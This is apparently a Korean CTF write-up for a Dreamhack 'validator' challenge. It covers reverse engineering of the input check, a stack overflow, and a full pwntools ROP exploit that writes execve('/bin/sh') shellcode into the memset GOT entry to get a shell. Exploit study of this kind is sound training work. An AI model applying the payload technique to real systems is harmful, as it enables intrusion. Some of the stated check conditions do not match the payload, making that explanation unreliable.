인증 프로그램의 취약점을 이용해 exploit하는 문제다. 이때 서버 시스템은 v5.4.0 이전의 커널로, "NX가 비활성화되어 있으면 읽기 가능한 데이터 영역은 실행 가능하다."는 것이 힌트로 주어졌다. 이 힌트를 이용하여 exploit할 것이다.
문제 파일로 두 개의 바이너리 validator_dist
, validator_server
가 주어진다. 커널에서 기본으로 제공하는 ASLR
을 제외한 Canary
, NX
, PIE
가 모두 비활성화되어 있고, Partial RELRO
가 적용되어 있으므로 GOT overwrite가 가능하다.
프로그램을 실행해보니 둘 다 입력만 받고 끝난다. 이 입력으로 validation을 진행하는 것으로 보인다.
validator_dist를 먼저 디버깅해보겠다. 이 바이너리의 main에서 read()
를 호출하는데, 버퍼의 위치는 rbp-0x80
이고 readable size는 0x400
으로 stdin으로부터 읽는다. 이때 버퍼의 위치 rbp-0x80
에서부터 0x400
만큼 readable하므로 Stack Buffer Overflow
취약점이 존재한다.
이후 validate
함수를 호출하고 프로그램이 종료된다. 아마 이 프로시저 내에는 인증 로직이 구현돼 있을 것이다. validate
를 호출할 때 다음 값들을 인자로 넘긴다.
rbp-0x80
을 rdi
로 전달0x80
을 esi
로 전달.validate로 step into하면, 먼저 아래 사항을 설정 및 초기화하고 validate+83
으로 jump한다.
rdi
를 rbp-0x18
에 저장0x80
을 전달받은 rsi
를 rbp-0x20
에 저장rbp-0x04
, rbp-0x08
에서 시작하는 4byte 스택 공간을 0으로 초기화validate+83
~validate+89
는 rbp-0x04
에 저장된 값이 9보다 작거나 같으면 validate+32
로 jump한다.
초기 값이 0인
rbp-0x04
의 값이 계속 증가하여, 이것이 9보다 작거나 같을 때까지validate+32
에 있는 로직을 실행하는 것으로 보인다. 만약 디버깅 중rbp-0x04
의 값을 증가시키는 명령이 발견되면 이 추측이 맞을 가능성이 높다.
validate+32
에서는 {입력 값으로 받은 문자열[rbp-0x04
]} 문자와 {0x601040
에 있는 문자열[rbp-0x04
]} 문자가 동일한지 비교한다. 이때 0x601040
에 저장된 문자는 "DREAMHACK!"이다. 즉 입력된 문자열이 이 문자열과 동일한지 확인하는 로직이 되겠다.
rbp-0x04
에 저장된 값을 인덱스로 하는 문자를 ecx
에 저장0x601040
+(rbp-0x04
에 저장된 값)]에 위치한 문자를 eax
에 저장ecx
== eax
확인 후 참이면 validate+79
로 jump, 거짓이면 종료앞선 조건을 만족하면 validate+79
로 jump하는데, 이 명령에서는 rbp-0x04
에 저장된 값을 1 증가시킨다. 그리고 아까 전과 같이 9보다 작거나 같은지를 확인하므로, rbp-0x04
의 값이 9보다 작거나 같을 때까지 validate+32
에 있는 비교 로직을 실행한다. 즉, 입력 문자열에서 10번째 문자까지 "DREAMHACK!"과 일치해야 한다.
입력된 문자열의 처음 10개의 문자가 "DREAMHACK!"이면 validate+98
을 실행한다. 해당 코드는 validate+168
으로 jump하는데, 이 로직은 다음을 실행한다.
rbp-0x04
의 값을 0xb
로 설정0x80
이 저장된 rbp-0x20
에 있는 값이 rbp-0x04
보다 클 경우 validate+100
으로 jump이 부분도 마찬가지로,
rbp-0x04
에 저장된 인덱스 값이 0xb ~ 0x7f일 동안validate+100
에 있는 로직을 실행할 것으로 보인다.
validate+100
으로 jump하면 다음과 같이 동작한다.
rbp-0x04
에 저장된 값을 인덱스로 하는 문자를 eax
에 저장al
의 값을 eax
에 zero extension하며 저장rbp-0x04
에 저장된 값 + 1)을 인덱스로 하는 문자를 edx
에 저장dl
의 값을 edx
에 sign extension하며 저장eax
== edx
확인 후, 거짓일 경우 validate+158
로 jump한 후 종료
idx=dword[rbp-0x04]
, [0xb, 0x80] 구간의 문자열을str
이라 하자. 위 로직을 통과하기 위해서는 입력 값은 아래 조건을 만족해야 한다.( str[idx+1] < 0b'1000_0000 ) && ( str[idx] == str[idx+1] )
위 로직이 통과될 경우 validate+152
가 실행된다. 이 명령은 rbp-0x04
에 저장된 값을 1 증가시키고 validate+168
로 jump한다. 위에서 보았듯이, validate+168
에서는 rbp-0x04
에 저장된 값이 rbp-0x20
에 저장된 값(0x20)보다 작으면 validate+100
을 실행한다.
결국
validate+100
에 있는 인증 로직은rbp-0x04
에 저장된 값이 0x80보다 작을 동안 실행된다. 이로써 처음에 의도를 몰랐던 인자로 전달된 값 0x80은rbp-0x04
가 증가하는 범위의 한계임을 확인할 수 있다.
모든 인증이 통과되면 main
으로 복귀 후 종료한다.
valid_server
은 valid_dist
와 거의 동일하나, 인증 로직에서 일부 차이점이 존재하여 이 부분만 기술하겠다.
valid_dist
의 두 번째 인증 과정에서는, 입력 문자열에서 rbp-0x04
에 저장된 값을 인덱스로 하는 문자를 zero extend하여 레지스터에 가져온다. 그러나 valid_server
에서는 0x4005f4
에서 볼 수 있듯이 오른쪽 문자(idx+1) 뿐만 아니라 왼쪽 문자(idx)도 sign extend하여 가져오므로, 0x0b부터 시작하는 문자들 모두 0x80보다 작거나, 모두 0x80 이상이어야 한다. 따라서 valid_server
에서는 입력 문자열이 아래 조건을 만족해야 한다.
idx=dword[rbp-0x04]
, [0xb, 0x80] 구간의 문자열을str
이라 하자. 위 로직을 통과하기 위해서는 입력 값은 아래 조건을 만족해야 한다.( ( str 내의 모든 바이트 < 0b'1000_0000 ) || ( str 내의 모든 바이트 >= 0b'1000_0000 ) ) && ( str[idx] == str[idx+1] )
Dreamhack 서버에서는
validator_server
를 실행하는 것으로 보인다.
디버깅하며 확인했듯이 readable한 최대 크기는 0x400으로 stack buffer overflow가 가능하다. 그러나 return address를 one_gadget
으로 덮으려면 라이브러리의 매핑 주소를 구해야 하므로 복잡하다. 따라서 Return Oriented Programming으로 exploit를 진행한다.
GOT에 shellcode를 주입해서 exploit가 가능한 이유는, 문제의 힌트로 주어져 있듯이 v5.4.0 이전 커널에서는 NX가 비활성화돼 있으면 읽기 권한이 있는 데이터 영역이 실행 가능하기 때문이다.
인증 통과를 위해, 아래 사항을 준수하여 payload를 구성한다.
shellcode로 덮어 쓸 GOT이 3개가 있다. 이 중 memset
의 GOT를 이용하겠다.
ROPgadget
으로 찾은 gadget들 중 사용할 gadget은 위와 같다.
ROP로 read를 호출하여 memset의 GOT에 shellcode를 저장한다. 그리고 memset의 GOT으로 return하여 shellcode를 실행한다.
section .text
global _start
_start:
mov rax, 0x68732f6e69622f2f
push rax
xor rax, rax
mov al, 0x3b
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall
위 shellcode를 nasm으로 assemble한다.
from pwn import *
p = remote('host1.dreamhack.games', 11959)
e = ELF('./validator_server')
payload = b'DREAMHACK!' #first validation [0x00]~[0x09]
payload += b'A' #dummy [0x0a]
#second validation [0x0b]~[0x80]
val = 0x7f
for i in range(0x0b, 0x81):
payload += val.to_bytes(1, byteorder='little')
val -= 1
payload += b'B'*0x07 #make length to be 0x88
shellcode = b'\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x31\xc0\xb0\x3b\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05'
pop_rdi = 0x4006f3
pop_rsi_r15 = 0x4006f1
pop_rdx = 0x40057b
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(e.got['memset']) + p64(0)
payload += p64(pop_rdx) + p64(len(shellcode))
payload += p64(e.plt['read'])
payload += p64(e.got['memset'])
p.send(payload)
sleep(0.5)
p.send(shellcode)
sleep(0.5)
p.interactive()
exploit이 성공적으로 수행되었다.
많은 도움이 되었습니다, 감사합니다.